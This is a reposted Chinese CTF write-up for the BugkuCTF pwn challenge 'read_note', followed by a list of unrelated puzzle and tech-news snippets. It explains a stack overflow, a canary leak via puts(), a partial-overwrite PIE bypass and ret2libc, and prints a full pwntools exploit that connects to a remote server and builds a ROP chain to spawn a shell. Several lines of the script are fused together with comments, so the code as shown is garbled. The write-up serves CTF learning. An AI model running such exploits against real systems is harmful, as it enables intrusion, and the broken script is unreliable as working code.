BugkuCTF-PWN题pwn3-read_note超详细讲解

知识点

puts()的特性 , puts()会一直输出某地址的数据,直到遇到 \x00

Canary最低位为\x00(截断符)

\x 和 0x 的区别:
区别不大,都是把数按16进制输出。
1、0x 表示整型数值 (十六进制)
char c = 0x42; 表示的是一个数值(字母B的ASCII码66),可以认为等价于: int c = 0x42;
2、\x42用于字符表达,或者字符串表达
char c = ‘\x42’; 亦等价于: char c = 0x42;
char* s = “\x41\x42”; //表示字符串:AB

程序编译的时候入口并不是main函数,而是start代码段。事实上,start代码段还会调用__libc_start_main来做一些初始化工作,最后调用main函数并在main函数结束后做一些处理。

解题流程

先运行一下看看在这里插入图片描述
一开始会让你输入一个路径,不存在的话就会报错退出,然后打印出文件内容,然后分别输入note的长度和内容,输入内容的长度取决于之前的note长度;如果实际输入的长度不是624,则再输入一遍

查看保护机制
在这里插入图片描述
发现除了RELRO,其他保护机制全开
在这里插入图片描述
在这里插入图片描述

此题难点:

第一要读懂题目找出漏洞
第二是要绕过各类保护机制
第三是exp的编写调试。

第一要读懂题目找出漏洞

首先分析程序,重要部分如下所示。一开始会让你输入一个路径,不存在的话就会报错退出,然后打印出文件内容;以上均可以忽略,没有任何用处。然后分别输入note的长度和内容,输入内容的长度取决于之前的note长度;如果实际输入的长度不是624,则再输入一遍,此时输入内容的长度变为0x270(624)。可以发现,v4的长度为0x258(600),而输入的长度可以任意控制,因此存在栈溢出。
在这里插入图片描述

第二是要绕过各类保护机制

确定了漏洞所在,下一个问题就是如何绕过NX、Canary、PIE和ASLR等保护机制了,下面一个个来说。
1.NX很简单,ROP即可。

2.Canary会很大程度上妨碍栈溢出,但结合本题的环境,输入一次后紧接着一个puts函数将输入内容打印出来,然后还有一次输入的机会,因此可以在第一次输入时,通过覆盖Canary最低位的\x00为其他值(Canary最低位肯定为\x00,而puts()会一直输出直到碰见\x00位置),让puts()泄露出Canary的内容,第二次输入时再将正确的Canary写回去,就可以绕过Canary的保护了。

3.PIE会让程序加载的基地址随机化,但是随机化并不完全,最低三位是不会改变的,可以利用这个特性,通过覆盖最低的两位来有限的修改程序控制流,然后再泄露出程序加载地址。

4.至于ASLR,利用ret2libc的方法,泄露出libc的版本,就可以算出system等函数的地址然后get shell了。

第三是exp的编写调试

通过以上的分析,由于需要泄露三个内容,因此main函数需要执行四次,每次执行都会有两次输入,每次执行的工作分别如下:

第一次执行

需要在填满v4的长度600后,再溢出两个十六进制位(64位计算机一个地址是8个字节),覆盖Canary的最低位,然后将Canary打印出来;再次输入时,将正确的Canary放在原来的位置,然后溢出栈上返回地址的低两位为\x20。为什么是\x20,是因为从ida里可以发现,vul函数最后retn的地址为0xd1f,main函数的起始地址是0xd20,前面的偏移都是相同的,因此可以通过这类方法绕过PIE再跳回main。
在这里插入图片描述
在这里插入图片描述
如图D2E为main的返回地址

第二次执行

在填满600的基础上,需要再多溢出两个地址位数(64位计算机一个地址是8个字节),也就是616。从栈分布可以看出,v4之后是Canary(0x7fffffffde88处),然后再填充一个地址位,就可以输出main+14的真实地址,也就可以得到程序加载的地址。之后使用跟之前同样的方法,再次回到main函数的起始位置。
在这里插入图片描述

第三次执行

要溢出的就是__libc_start_main的真实地址了,作为main函数的返回地址,从上图可以看出,可以从栈上泄露__libc_start_main+240的地址,依次利用LibcSearcher算出libc版本,然后得到system地址和/bin/sh字符串的地址。此时已经具备了get shell的条件,但由于第二次输入的长度所限,因此还要再跳回main函数,再次执行程序。
在这里插入图片描述

第四次执行

将payload拼接好,然后发给程序了。由于是64位,传参需要rdi。通过ROPgadget搜索程序二进制,发现存在pop rdi;ret;的gadget,将其偏移再加上第二步得到的程序加载基地址,就可以得到gadget的真实地址,至此,payload拼接完成,可以拿到shell了。
在这里插入图片描述
exp:

from pwn import *
from LibcSearcher import *
#sh = process('./file/read_note')   #本地调试
sh = remote('114.116.54.89',10000)
#context.log_level = 'debug'pop_rdi_ret = 0x0000000000000e03
#-----------------------------------------------------------------------------------------------------------
#第一次
log.info('first time')
sh.sendlineafter('Please input the note path:', 'flag')   #在接受到Please input the note path:后才发送~/Desktop + \n
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')   #直到接收到please input the note:为止payload1 = 'a'*600
sh.sendline(payload1)   #发送一行数据,相当于在末尾加\n
sh.recvuntil('a'*600)   #直到接收到600个a为止
#绕过canary方法一:
canary = u64(sh.recv(8))-0xa
log.info('Canary: '+hex(canary))#绕过canary方法二:
#canary1=u64(b'\x00'+sh.recv(7))#绕过canary方法三:
#canary2 = u64(sh.recv(7).rjust(8,b'\x00'))sh.recvuntil('so please input note(len is 624)')   #直到接收到so please input note(len is 624)为止payload1 = b'a'*600 + p64(canary) + p64(1) + b'\x20'
print(payload1)
sh.send(payload1)
#-----------------------------------------------------------------------------------------------------------
#第二次
log.info('second time')
sh.sendlineafter('Please input the note path:', 'flag')   #在接受到Please input the note path:后才发送~/Desktop + \n
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')   #直到接收到please input the note:为止payload2 = 'a'*616
sh.send(payload2)   #发送payload2里的数据
sh.recvuntil('a'*616)   #直到接收到616个a为止
main_addr = u64(sh.recv()[0:6] + b'\x00\x00') - 0xe   #D2E为main的返回地址
log.info('main_addr: ' + str(hex(main_addr)))base = main_addr - 0xd20
pop_rdi_ret_addr = base + pop_rdi_ret
log.info('base addr:'+str(hex(base)))payload2 = 'a'*600 + p64(canary) + p64(1) + p64(main_addr)
sh.send(payload2)#-----------------------------------------------------------------------------------------------------------
#第三次
log.info('third time')
sh.sendlineafter('Please input the note path:', 'flag')
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')elf = ELF('./file/read_note')   #ELF模块用于获取ELF文件的信息,通过ELF()获取这个文件的句柄,然后通过这个句柄调用plt函数获取PLT的地址
start_plt = elf.plt['__libc_start_main']
print("start_plt: " + hex(start_plt))payload3 = 'a'*648
sh.send(payload3)
sh.recvuntil('a'*648)
libc_start_addr = u64(sh.recv()[0:6] + b'\x00\x00') - 240
log.info('__libc_start_main:'+str(hex(libc_start_addr)))libc = LibcSearcher('__libc_start_main', libc_start_addr)
log.info('libc: ' + str(libc))
libc_base = libc_start_addr - libc.dump('__libc_start_main')#libc.dump(“xxx”) 可以计算出xxx的偏移地址,再libc_start_addr减去偏移地址就得到了libc_base的基址
log.info('libc_base: ' + str(libc_base))
system_addr = libc_base + libc.dump('system')#通过基址加system的偏移,得到system的实际地址
log.info('system_addr' + str(system_addr))
binsh_addr = libc_base + libc.dump('str_bin_sh')#通过基址加/bin/sh字符串的偏移,得到/bin/sh的实际地址
log.info('binsh_addr: ' + str(binsh_addr))payload3 = 'a'*600 + p64(canary) + p64(1) + p64(main_addr)
sh.send(payload3)#-----------------------------------------------------------------------------------------------------------
#最后一次
log.info('fourth time')
sh.sendlineafter('Please input the note path:', 'flag') #在接受到Please input the note path:后才发送~/Desktop + \n
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')payload4 = 'a'*600 + p64(canary) + p64(1) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
sh.send(payload4)
sh.recvuntil('so please input note(len is 624)')
sh.send(payload4)
sh.interactive()

运行结果

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
由于本题有bug,建立连接后直接输入flag,出现flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/525219.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

文末有福利 | 停不下来!程序员在GitHub上开源了一个自制表情包项目

世界上本没有表情包,脑洞大的人多了,便有了表情包,如今,大家伙聊天都离不开表情包,但是手头上很多时候表情包根本不够用,所以市面上就有很有App、小程序可以帮助你制作专属你的表情包而程序员在这方面就有个…

BugkuCTF-Crypto题把猪困在猪圈里

下载file.txt文件 在给的内容头部添加data:image/jpg;base64, 将base64编码转为图片 然后下载图片: 百度猪圈密码,得到flag 注意:猪圈密码flag小写

面趣 | 那些面试没过的程序员,都去了哪里?答案真的挺励志

年底又到裁员季,那些还在挣扎着找工作的小伙伴,现在怎么样了?很好奇,那些没有面试成功的朋友最后都去了哪里?尤其是程序员这一庞大群体。有人给出的答案是,不存在“没有通过一个公司的面试,那以…

BugkuCTF-Crypto题贝斯家

密文&#xff1a;iH<,{bdR2H;i6*Tm,Wx2izpx2! 本题要点&#xff1a;base91转码 看到贝斯家… 那么这串字符一定为BASE系列的了 常见的都是base64/base32/base16…和这串字符好像都不太形似 base91的编码原理 base91是将二进制数据编码为ASCII字符的高级方法。 它类似于UUe…

web前端 到底怎么学?掌握什么可以拿到高薪?

web前端到底怎么学&#xff1f;那么在讲 web前端怎么学 这个大命题之前呢&#xff0c;依据我本人的尿性&#xff0c;还是得先把你拉入坑&#xff0c;让你在坑里好好学 O(∩_∩)Oweb前端的历史渊源 和一些出处&#xff0c;童鞋们大概都有所了解了。下面我们进入【相爱】阶段&…

BugkuCTF-Crypto题缝合加密

下载文件&#xff0c;打开 fence:栅栏 看组成规律&#xff0c;很明显和键盘有关系&#xff0c;但是第一租的qwedc既不能组成一个字母或数字&#xff0c;也没有围住一个字母或者数字&#xff0c;但是结合前面提到的pig&#xff0c;推测这里是猪圈密码 第一组的qwedc对应的是 …

腾讯员工用漫画自述悲惨职场经历,网友大呼:社会巨婴

最近微博上有几组“漫画”火了&#xff0c;但是却引发了巨大的争议&#xff0c;漫画作者微博昵称为“知春鹿可不这么想”&#xff0c;作者自称是腾讯的实习生&#xff0c;并通过漫画的形式描述着自己秋招、面试、实习等生活状态。这是其中一篇漫画。很多网友直接说出作者就是一…

BugkuCTF-Crypto题告诉你个秘密

描述: 636A56355279427363446C4A49454A7154534230526D6843 56445A31614342354E326C4B4946467A5769426961453067 观察发现为十六进制转字符 点击十六进制转字符 发现有大写有小写还有数字 推测是base64&#xff1a; base64解密网站https://ctf.bugku.com/tool/base64 可以在后面…

BugkuCTF-Crypto题简单加密

题目&#xff1a; e6Z9i]8RUQHE{RnY{QXgQnQ{XVlRXlpXI5Q6Q6SKY8jUAA 看起来很像base64&#xff0c;但是有一些字符不在base64加密字符的范围&#xff0c;由最后两个AA&#xff0c;猜测是偏移ascii码之后的结果。 偏移4位 打开密码机器下载版.htm 点击凯撒移位 输入密文 点击-4&…

AWS Lambda重大更新,跨越编程语言差异之门?

戳蓝字“CSDN云计算”关注我们哦&#xff01;北京时间11月30日凌晨&#xff0c;在美国拉斯维加斯召开的AWS re: Invent 2018上&#xff0c;和往年一样&#xff0c;AWS CTO WernerVogels博士又发布了AWS多项重要的更新&#xff0c;包括数据库、编程工具、架构等多个方面&#xf…

@所有人,云计算喊你一起来学习!

我们需要能在这儿生存的人。We need to find someone who can survive here.《穿普拉达的女王》生活不只有苟且&#xff08;枸杞&#xff09;&#xff0c;还有诗&#xff08;保温杯&#xff09;和远方&#xff08;防脱洗发水&#xff09;。你是否希望回首走过的每份每秒时&…

BugkuCTF-Crypto题进制转换

补充&#xff1a; Python为我们提供了强大的内置函数和格式操作数字的方法去实现进制转换的功能 下载文件&#xff1a; 点击文本内容如下&#xff1a; d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 …

BugkuCTF-Crypto题你喜欢下棋吗

下载文件file.zip&#xff0c;解压 得到一个txt文件与一个flag.zip文件 根据txt文件提示为棋盘密码&#xff08;波利比奥斯方阵密码&#xff08;Polybius Square Cipher或称波利比奥斯棋盘&#xff09;是棋盘密码的一类&#xff09; http://www.atoolbox.net/Tool.php?Id913 …

Cloud一分钟 |格力电器营收比去年增长500亿元; 红黄蓝加盟停不下来;中美双方同意停止相互加征新的关税...

戳蓝字“CSDN云计算”关注我们哦&#xff01;Hello&#xff0c;everyone&#xff1a;12月3日早&#xff0c;星期一CSDN一分钟新闻时间&#xff1a;董明珠&#xff1a;今年格力电器营收比去年增长500亿元 企业纳税越多&#xff0c;活得越好 …

Spring事务你可能不知道的事儿

戳蓝字“CSDN云计算”关注我们哦&#xff01;1. 使用示例2. 标签解析3. 实现原理4. 小结关于事务&#xff0c;简单来说&#xff0c;就是为了保证数据完整性而存在的一种工具&#xff0c;其主要有四大特性&#xff1a;原子性&#xff0c;一致性&#xff0c;隔离性和持久性。对于…

BugkuCTF-PWN题canary超详细讲解

知识点 小端序说明&#xff0c;数据在内存里是如何存储的&#xff1f;下表里数据都为16进制 解题流程 题目Hint:更新 LibcSeacher 的 libc-database checksec查看保护机制 存在Canary和NX。 0x2840 0x1016 0x2941 0x300768 0x2C44 buf长度为48&#xff0c;而read读取长度…

Cloud一分钟 |乐视系近亿元资产被查封;快手推出新社区产品,取名“蹦迪”;高通:已终止收购恩智浦的交易...

戳蓝字“CSDN云计算”关注我们哦&#xff01;Hello&#xff0c;everyone&#xff1a;12月4日早&#xff0c;星期二CSDN一分钟新闻时间&#xff1a;乐视系近亿元资产被查封 裁定查封、扣押或冻结三家乐视系公司名下价值9002.2万元财产。 …

BugkuCTF-Crypto题散乱的密文

描述: lf5{ag024c483549d7fd1} 一张纸条上凌乱的写着2 1 6 5 3 4 知识点&#xff1a;列位移密码&#xff0c;密钥为216534 打开密码机器下载版.htm 点击解密得到flag

倒计时 2 天,2018 中国大数据技术大会(BDTC)报名通道即将关闭(附参会提醒)...

戳蓝字“CSDN云计算”关注我们哦&#xff01;2018 年12 月 6-8 日&#xff0c;由中国计算机学会主办&#xff0c;CCF大数据专家委员会承办&#xff0c;CSDN、中科天玑数据科技股份有限公司协办的 2018 中国大数据技术大会&#xff08;BDTC&#xff09;&#xff0c;携主题“大数…

BugkuCTF-PWN题pwn5-overflow2超详细讲解

知识点 setvbuf: setvbuf函数的功能&#xff1a; 如果你的内存足够大&#xff0c;可以把文件IO的BUF设置大一些&#xff0c;这样每次你用 fopen/fread/fwrite/fscanf/fprintf语句的时候&#xff0c;都会在内存里操作&#xff0c;减少内存到磁盘IO读写的操作次数&#xff0c;提…